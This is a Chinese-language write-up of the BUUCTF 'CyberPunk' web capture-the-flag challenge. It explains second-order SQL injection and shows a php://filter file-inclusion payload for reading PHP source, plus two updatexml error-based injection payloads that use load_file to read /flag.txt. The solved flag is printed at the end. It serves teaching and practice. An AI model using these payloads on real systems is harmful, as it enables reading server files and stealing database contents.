BUUCTF Web CyberPunk WriteUp

BUUCTF Web CyberPunk WriteUp_第1张图片

想直接查看payload的点这里

前言

二次注入(Second-Order Injection)是指攻击者在应用程序中注入恶意数据,然后在稍后的操作或不同的上下文中再次使用该恶意数据,导致安全漏洞。它通常发生在数据库查询、数据导出、报告生成等过程中。

典型的二次注入示例包括在用户注册时注入恶意代码,然后在管理员操作中触发执行,或者在数据库操作中注入恶意代码。为防止二次注入,应采取综合的安全措施,包括输入验证、参数化查询、代码审计和安全编码实践。

对于SQL注入问题,使用参数化查询或预编译语句,并对用户输入进行严格验证和过滤,可防止恶意SQL代码注入。对于二次注入,还需考虑应用程序的整体逻辑和数据流程,确保数据在后续处理中也得到适当处理和过滤,以防再次执行恶意代码。


正文

查看源码,发现提示,有可能存在文件包含

在这里插入图片描述

还在源码看到存在index.php,change.php,comfirm.php,delete.php,search.php这些文件

可以用php伪协议fenbie依次读取这些文件:

?file=php://filter/convert.base64-encode/resource=index.php

php://filter/convert.base64-encode/resource=index.php 是一个针对 PHP 文件的路径表达式,它使用了 php://filter 伪协议和 convert.base64-encode 过滤器。

它的含义是将目录下的 index.php 文件内容以 Base64 编码的形式读取。

查看index.php代码可以发现,提交订单的数据要通过confirm.php校验,其中没有校验address地址值。

BUUCTF Web CyberPunk WriteUp_第2张图片

再查看change.php代码可以发现,修改订单时只用addslashes函数对address函数进行了转义。

BUUCTF Web CyberPunk WriteUp_第3张图片

再看change.php中最关键一行sql语句:

$sql = "update `user` set 
	`address`='".$address."', `old_address`='".$row['address']."
	' where `user_id`=".$row['user_id'];

它把在index.php中提交的旧地址(old_address)重新保存到数据库里。

所以可以在index.php提交订单的时候,在地址里输入sql注入语句,然后在change.php中修改订单时当时的sql注入语句被执行,这就是二次注入。
这里使用报错注入,然后因为updatexml最多一次显示32个字符,所以用两个payload分开读取flag。

payload:

1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,30)),0x7e),1)#

提交订单:

修改订单成功读取到flag:

BUUCTF Web CyberPunk WriteUp_第4张图片

同理再提交订单修改订单获取后半段的flag:
BUUCTF Web CyberPunk WriteUp_第5张图片

flag{5cd7240e-e619-4ddf-8bfc-7300b3e1841d}

提交flag

BUUCTF Web CyberPunk WriteUp_第6张图片
相关文章:
MySQL 文件读写
探索php://filter在实战当中的奇技淫巧
updatexml mysql_深入浅出带你玩转sqlilabs

你可能感兴趣的:(安全,web安全,网络安全,sql,sql注入,文件包含,ctf)